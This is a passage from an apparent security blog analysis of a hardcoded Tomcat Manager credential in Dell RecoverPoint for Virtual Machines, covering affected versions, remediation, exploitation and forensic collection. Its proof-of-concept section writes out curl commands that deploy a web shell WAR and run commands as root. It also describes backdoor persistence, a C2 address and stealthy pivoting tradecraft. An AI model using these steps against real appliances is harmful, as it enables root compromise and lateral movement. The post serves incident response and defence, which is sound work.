&lt;p&gt;&lt;strong&gt;Affected Products:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;RecoverPoint for Virtual Machines is the only affected product. RecoverPoint Classic (physical and virtual appliances) is explicitly noted as not affected by Dell’s advisory.&lt;/p&gt;

&lt;p&gt;Every version of RecoverPoint for Virtual Machines prior to 6.0.3.1 HF1 is vulnerable. Dell specifically calls out the following:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Version&lt;/th&gt;
      &lt;th&gt;Status&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;5.3 SP2, 5.3 SP3, 5.3 SP4&lt;/td&gt;
      &lt;td&gt;Vulnerable (potentially earlier too)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;5.3 SP4 P1&lt;/td&gt;
      &lt;td&gt;Vulnerable&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;6.0, 6.0 SP1, 6.0 SP1 P1, 6.0 SP1 P2&lt;/td&gt;
      &lt;td&gt;Vulnerable&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;6.0 SP2, 6.0 SP2 P1&lt;/td&gt;
      &lt;td&gt;Vulnerable&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;6.0 SP3, 6.0 SP3 P1&lt;/td&gt;
      &lt;td&gt;Vulnerable&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;6.0.3.1 HF1&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;Patched&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;Remediation options:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For versions 6.0 through 6.0 SP3 P1: upgrade directly to 6.0.3.1 HF1, or apply the Dell remediation script documented in KB article 000426742.&lt;/p&gt;

&lt;p&gt;For version 5.3 SP4 P1: migrate to 6.0 SP3 first, then upgrade to 6.0.3.1 HF1. Or apply the remediation script.&lt;/p&gt;

&lt;p&gt;For 5.3 SP4 and earlier: upgrade to 5.3 SP4 P1 first, then follow the above path. Dell acknowledges that earlier 5.3 versions are also impacted.&lt;/p&gt;

&lt;p&gt;The remediation script path is the faster option if you cannot afford the downtime of a full version upgrade right now. But the upgrade is the right long-term answer.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;proof-of-concept-details&quot;&gt;Proof of Concept Details&lt;/h2&gt;

&lt;p&gt;No standalone public PoC has been released as of the time of this writing. The Mandiant/GTIG disclosure covers the exploitation method in sufficient detail that this will likely change quickly, but right now you’re not looking at script-kiddie-level mass exploitation. You’re looking at nation-state level targeted exploitation that has been happening for 18 months already.&lt;/p&gt;

&lt;p&gt;The conceptual PoC is embarrassingly simple. Given the hardcoded credential (not published here, but present in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tomcat-users.xml&lt;/code&gt; file on any unpatched appliance), exploitation looks like this:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Verify Tomcat Manager is accessible&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -v https://&amp;lt;target&amp;gt;:8443/manager/html -u admin:&amp;lt;hardcoded_password&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A 200 response with the Tomcat Manager UI confirms the credential works.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Deploy a malicious WAR via the text interface&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -v -u admin:&amp;lt;hardcoded_password&amp;gt; \
  -T /path/to/shell.war \
  &quot;https://&amp;lt;target&amp;gt;:8443/manager/text/deploy?path=/shell&amp;amp;update=true&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Access the deployed web shell&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &quot;https://&amp;lt;target&amp;gt;:8443/shell/cmd.jsp?c=id&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Response: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uid=0(root) gid=0(root) groups=0(root)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;In the real-world UNC6201 campaigns, the deployed WAR contained a SLAYSTYLE web shell, which is a JSP-based shell that accepts base64-encoded commands, executes them via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Runtime.getRuntime().exec()&lt;/code&gt;, and returns the output. The specifics of SLAYSTYLE’s command encoding are documented in the Mandiant report IOC section.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;exploitation-analysis&quot;&gt;Exploitation Analysis&lt;/h2&gt;

&lt;p&gt;Let’s walk through what actually happens technically when this vulnerability is exploited, and why it’s so clean.&lt;/p&gt;

&lt;h3 id=&quot;apache-tomcat-manager-and-war-deployment&quot;&gt;Apache Tomcat Manager and WAR Deployment&lt;/h3&gt;

&lt;p&gt;Apache Tomcat Manager is a standard web application that ships with Tomcat and provides a web-based interface for deploying and managing web applications. It’s protected by role-based authentication defined in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tomcat-users.xml&lt;/code&gt;. The relevant roles for exploitation are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;manager-gui&lt;/code&gt; (web UI access) and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;manager-script&lt;/code&gt; (text API access, used by build automation).&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/manager/text/deploy&lt;/code&gt; endpoint accepts an HTTP PUT request with a WAR file as the request body, plus URL parameters that define the deployment context path and whether to overwrite an existing deployment. This endpoint is designed for CI/CD pipeline automation. In RecoverPoint’s case, it’s used for Dell’s own component deployment during product updates. There is no additional authorization layer beyond the Tomcat Manager credentials.&lt;/p&gt;

&lt;h3 id=&quot;the-hardcoded-credential-location&quot;&gt;The Hardcoded Credential Location&lt;/h3&gt;

&lt;p&gt;Mandiant’s analysis pinpointed the credential in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home/kos/tomcat9/tomcat-users.xml&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kos&lt;/code&gt; directory is the home directory for the RecoverPoint operating environment. A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tomcat-users.xml&lt;/code&gt; file with hardcoded credentials in this location would look something like:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;tomcat-users&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://tomcat.apache.org/xml&quot;&lt;/span&gt;
              &lt;span class=&quot;na&quot;&gt;xmlns:xsi=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt;
              &lt;span class=&quot;na&quot;&gt;xsi:schemaLocation=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://tomcat.apache.org/xml tomcat-users.xsd&quot;&lt;/span&gt;
              &lt;span class=&quot;na&quot;&gt;version=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1.0&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;role&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rolename=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;manager-gui&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;role&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rolename=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;manager-script&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;role&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rolename=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;admin-gui&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;user&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;username=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;admin&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;password=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;HARDCODED_VALUE&amp;gt;&quot;&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;roles=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;manager-gui,manager-script,admin-gui&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/tomcat-users&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Because RecoverPoint ships as a pre-built appliance OVA/VMDK, this file is identical on every single deployed instance. Every customer who ever deployed RecoverPoint for Virtual Machines has the same password in that file unless they applied the patch or remediation script.&lt;/p&gt;

&lt;h3 id=&quot;war-file-deployment-as-root-code-execution&quot;&gt;WAR File Deployment as Root Code Execution&lt;/h3&gt;

&lt;p&gt;WAR files are Java web application archives. When deployed to Tomcat, they are extracted and the web application they contain becomes accessible at the specified context path. Any JSP files within the WAR are compiled on first access and executed by the Tomcat JVM process.&lt;/p&gt;

&lt;p&gt;The critical piece here is process privilege. The Tomcat server process on the RecoverPoint appliance runs as root. This is not unusual for appliance-style deployments where the vendor controls the entire OS stack, but it means that any code executed via the Tomcat process, including code in a malicious deployed WAR, runs with full root privileges on the Linux appliance.&lt;/p&gt;

&lt;p&gt;This bypasses any sandboxing or privilege separation that might otherwise limit the blast radius of a compromised web application component. There is no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;seccomp&lt;/code&gt; profile to escape, no container boundary to cross. You authenticate to Tomcat Manager, you upload a WAR, you have root on the box.&lt;/p&gt;

&lt;h3 id=&quot;slaystyle-web-shell&quot;&gt;SLAYSTYLE Web Shell&lt;/h3&gt;

&lt;p&gt;The web shell UNC6201 deployed via this vulnerability is SLAYSTYLE, a JSP-based backdoor. Based on the YARA rule published by GTIG, SLAYSTYLE’s key characteristics include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;JSP page import of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;java.io&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Use of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Base64.getDecoder().decode()&lt;/code&gt; to decode command input, specifically using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c.substring(1)&lt;/code&gt; to strip a leading byte from the encoded command&lt;/li&gt;
  &lt;li&gt;Command execution via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Runtime.getRuntime().exec()&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/bin/sh -c&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Output capture via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ByteArrayOutputStream&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The base64 encoding of commands provides minimal obfuscation but makes the web shell less likely to trigger simple string-matching signatures on command parameters. The shell takes POST requests with an encoded command parameter, executes the decoded string via shell, and returns output. Because the Tomcat process runs as root, every command executes with root privileges.&lt;/p&gt;

&lt;h3 id=&quot;brickstorm-and-grimbolt-persistence&quot;&gt;BRICKSTORM and GRIMBOLT Persistence&lt;/h3&gt;

&lt;p&gt;Once SLAYSTYLE provides interactive access, UNC6201’s next step in observed campaigns was deploying persistent backdoors.&lt;/p&gt;

&lt;p&gt;BRICKSTORM is a multi-version backdoor (written in Go in early versions, later ported to Rust) that provides a reverse-shell capability and communicates with attacker-controlled C2 infrastructure. In the RP4VM context, BRICKSTORM was placed as a binary on disk and persistence was established by modifying &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home/kos/kbox/src/installation/distribution/convert_hosts.sh&lt;/code&gt;, a legitimate shell script that is executed at boot time via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rc.local&lt;/code&gt;. Adding the backdoor binary path to this script ensures it starts automatically on every reboot without adding new cron jobs, new systemd services, or other persistence mechanisms that might attract attention in a security audit.&lt;/p&gt;

&lt;p&gt;In September 2025, UNC6201 began replacing BRICKSTORM with GRIMBOLT on already-compromised appliances. GRIMBOLT is written in C# and compiled using .NET Native AOT compilation. Native AOT, introduced to .NET in 2022, compiles C# code directly to native machine code at build time rather than producing intermediate language (CIL) bytecode that is JIT-compiled at runtime. The consequences for defenders are significant: there is no CIL metadata in the binary, which means standard .NET reverse engineering tools that parse IL metadata are largely ineffective. The binary also bundles all required libraries, so there are no external DLL dependencies to trace. On top of Native AOT, the binary is packed with UPX, adding another layer of static analysis friction.&lt;/p&gt;

&lt;p&gt;GRIMBOLT uses the same WebSocket-based C2 protocol as BRICKSTORM, communicating with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wss://149.248.11.71/rest/apisession&lt;/code&gt;, and provides a remote shell capability. The persistence mechanism is identical: the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;convert_hosts.sh&lt;/code&gt; modification that was used for BRICKSTORM is updated to point to the GRIMBOLT binary instead.&lt;/p&gt;

&lt;h3 id=&quot;ghost-nics-and-vmware-pivoting&quot;&gt;Ghost NICs and VMware Pivoting&lt;/h3&gt;

&lt;p&gt;The post-exploitation tradecraft UNC6201 employs once inside the RP4VM appliance is where things get genuinely novel. The RecoverPoint appliance has privileged access to the VMware vCenter environment it manages by design. That access becomes a pivot point.&lt;/p&gt;

&lt;p&gt;The most interesting newly observed technique is the creation of “Ghost NICs.” UNC6201 creates new temporary virtual network interface cards on existing VMs running on ESXi hosts. These NICs are added dynamically via the VMware APIs that the RecoverPoint appliance has access to, connected to internal network segments, and used to establish connections to additional targets within the environment, including internal services and SaaS environments. After the pivoting activity is complete, the NICs are removed, leaving minimal trace in VM configuration history.&lt;/p&gt;

&lt;p&gt;This is a technique Mandiant states they have not observed in prior investigations. It leverages the trusted relationship between the backup/DR appliance and the hypervisor, an access pattern that defenders rarely monitor closely, to enable stealthy lateral movement without touching the guest OS network stack in a persistent way.&lt;/p&gt;

&lt;p&gt;The second novel technique is Single Packet Authorization (SPA) implemented via iptables rules on compromised vCenter appliances. The observed iptables configuration monitors incoming traffic on port 443 for a specific hex string in the packet payload. When the magic string is detected, the source IP is dynamically added to an allowed list. Subsequent connections from that IP to port 10443 are accepted, and for a 300-second window, traffic to port 443 is automatically redirected to 10443. This means the backdoor listener on port 10443 is effectively invisible unless you know the knock sequence. Standard port scans won’t see it. Firewall rule reviews won’t flag it. The listener only becomes active in response to a correctly crafted packet.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;forensic-evidence-collection&quot;&gt;Forensic Evidence Collection&lt;/h2&gt;

&lt;p&gt;If you’re dealing with a suspected or confirmed compromise of a RecoverPoint for Virtual Machines appliance, here’s what to collect and where to find it.&lt;/p&gt;

&lt;h3 id=&quot;disk-image&quot;&gt;Disk Image&lt;/h3&gt;

&lt;p&gt;The appliance runs as a VM, which means you can snapshot it at the hypervisor layer without touching the guest OS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VMware ESXi:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Suspend the VM first to get a consistent image&lt;/span&gt;
vim-cmd vmsvc/power.suspend &amp;lt;vmid&amp;gt;

&lt;span class=&quot;c&quot;&gt;# Copy the VMDK&lt;/span&gt;
vmkfstools &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; /path/to/rp4vm.vmdk /forensics/rp4vm-forensic.vmdk

&lt;span class=&quot;c&quot;&gt;# Or use the vCenter export function for a clean OVA snapshot&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Via vSphere API:&lt;/strong&gt;
Use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateSnapshot&lt;/code&gt; task on the VM object to create a quiesced snapshot, then export the VMDK from the snapshot delta file for imaging.&lt;/p&gt;

&lt;p&gt;If you cannot take the VM offline, use a live backup instead:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;dd &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/dev/&amp;lt;source_disk&amp;gt; &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;4M | ssh forensics@&amp;lt;collection_host&amp;gt; &lt;span class=&quot;s2&quot;&gt;&quot;dd of=/forensics/rp4vm.img bs=4M&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;memory&quot;&gt;Memory&lt;/h3&gt;

&lt;p&gt;Memory acquisition of the RP4VM appliance can be done at the hypervisor level. The VM’s memory is the most volatile artifact and should be collected before anything else if active C2 activity is suspected.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VMware snapshot (includes memory):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vim-cmd vmsvc/snapshot.create &amp;lt;vmid&amp;gt; &lt;span class=&quot;s2&quot;&gt;&quot;forensic-snap&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Memory snapshot for IR&quot;&lt;/span&gt; 1 0
&lt;span class=&quot;c&quot;&gt;# The .vmss or .vmsn file in the VM directory contains the memory state&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;AVML from within the guest (if you have SSH access):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./avml &lt;span class=&quot;nt&quot;&gt;--compress&lt;/span&gt; /tmp/memory.lime
scp /tmp/memory.lime forensics@&amp;lt;collection_host&amp;gt;:/forensics/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;KVM/QEMU (if running on KVM rather than VMware):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;virsh dump &amp;lt;domain_name&amp;gt; /forensics/rp4vm-memory.dump &lt;span class=&quot;nt&quot;&gt;--memory-only&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--live&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;log-data&quot;&gt;Log Data&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Tomcat Manager audit log (highest priority):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/home/kos/auditlog/fapi_cl_audit_log.log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This is where you will find any requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/manager&lt;/code&gt;. Any &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PUT /manager/text/deploy&lt;/code&gt; requests in this log should be treated as a primary IOC. Pay close attention to the deployment path parameter, which reveals where a potentially malicious WAR was dropped.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tomcat application logs:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/var/log/tomcat9/catalina.out
/var/log/tomcat9/localhost.&amp;lt;date&amp;gt;.log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Look for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;org.apache.catalina.startup.HostConfig.deployWAR&lt;/code&gt; events. The localhost log contains WAR deployment events and any exceptions generated by malicious web applications post-deployment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Deployed WAR files:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/var/lib/tomcat9/webapps/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This is where deployed WAR files land. Any directory here that you did not put there is suspicious. SLAYSTYLE and similar web shells will be present as a directory containing a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.jsp&lt;/code&gt; file (and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.java&lt;/code&gt; source file if it compiled successfully).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Compiled WAR artifacts:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/var/cache/tomcat9/Catalina/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Even if the attacker deleted the WAR file and the deployed directory, compiled artifacts may persist here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Persistence mechanism:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/home/kos/kbox/src/installation/distribution/convert_hosts.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Check this file for any modifications that reference external binary paths. Legitimate RecoverPoint deployments do not add extra commands to this script. Any addition here is a direct indicator of BRICKSTORM or GRIMBOLT persistence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;rc.local:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/etc/rc.local
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Verify that rc.local still calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;convert_hosts.sh&lt;/code&gt; and nothing else unexpected.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Deployed backdoor binaries:&lt;/strong&gt;
Search common paths used by the actor:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;find /tmp /var/tmp /home /opt &lt;span class=&quot;nt&quot;&gt;-type&lt;/span&gt; f &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;*.elf&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;support&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;splisten&quot;&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;System authentication logs:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/var/log/auth.log
/var/log/secure
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Look for SSH logins, su activity, and any failed/successful authentication events correlated with the compromise window.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Web server request logs:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If the appliance has access logging enabled on the Tomcat level, HTTP request logs will be in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/tomcat9/&lt;/code&gt;. Access logs will show GET/POST requests to deployed web shells after WAR deployment.&lt;/p&gt;

&lt;h3 id=&quot;external-log-sources&quot;&gt;External Log Sources&lt;/h3&gt;

&lt;p&gt;If you’re lucky enough to have the appliance shipping logs to a SIEM:&lt;/p&gt;

&lt;p&gt;Check for HTTP POST requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://&amp;lt;appliance_ip&amp;gt;:8443/manager/text/deploy&lt;/code&gt; in your proxy or network logs. The external visibility into Tomcat Manager requests is your best out-of-band validation source. Also check for network connections from the appliance IP to the known GRIMBOLT C2 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;149.248.11.71&lt;/code&gt; on port 443 via WebSocket.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;considerations-and-limitations&quot;&gt;Considerations and Limitations&lt;/h2&gt;

&lt;p&gt;Here’s the part where we talk about what you’re not going to find and why this investigation is harder than it looks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The credential exposure window is undetectable in retrospect.&lt;/strong&gt; There’s no logging of failed authentication attempts to Tomcat Manager by default. If an attacker scanned your environment to verify the credential was valid and then came back later to exploit it, you will have no record of the reconnaissance phase. The first forensic artifact is the successful WAR deployment, by which point the access is already established.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WAR deployment logs rotate.&lt;/strong&gt; The Tomcat audit log at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home/kos/auditlog/fapi_cl_audit_log.log&lt;/code&gt; is not guaranteed to retain entries from mid-2024. If this compromise started a year or more ago as Mandiant’s timeline suggests, early exploitation evidence is likely gone from the appliance itself. Your SIEM is the only hope for the initial access timeline, and only if you were shipping logs from the appliance, which most organizations are not.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The attacker can modify the audit log.&lt;/strong&gt; They have root. They can edit, truncate, or delete any log file on the appliance. In cases where an attacker was active for months before detection, assume the log files have been tampered with. Hash verification against known-good states is not possible without a pre-compromise baseline, which nobody has.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GRIMBOLT’s Native AOT compilation defeats standard static analysis.&lt;/strong&gt; Without CIL metadata, tools like dnSpy, ILSpy, and dotPeek provide minimal insight. FLARE’s analysis relied on dynamic analysis and pattern matching via YARA against native binary artifacts. If you find the binary but can’t analyze it in your environment, submit it to a sandbox that supports native Linux ELF analysis.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ghost NICs are ephemeral.&lt;/strong&gt; The temporary virtual network interfaces UNC6201 creates on ESXi VMs are added and removed dynamically. vCenter event logs (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Tasks and Events&lt;/code&gt; in the vSphere client) should show &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ReconfigVM_Task&lt;/code&gt; events for NIC additions and removals, but the retention period depends on your vCenter configuration. Default retention is 30 days. For a compromise that started in mid-2024, that evidence is long gone.&lt;/p&gt;

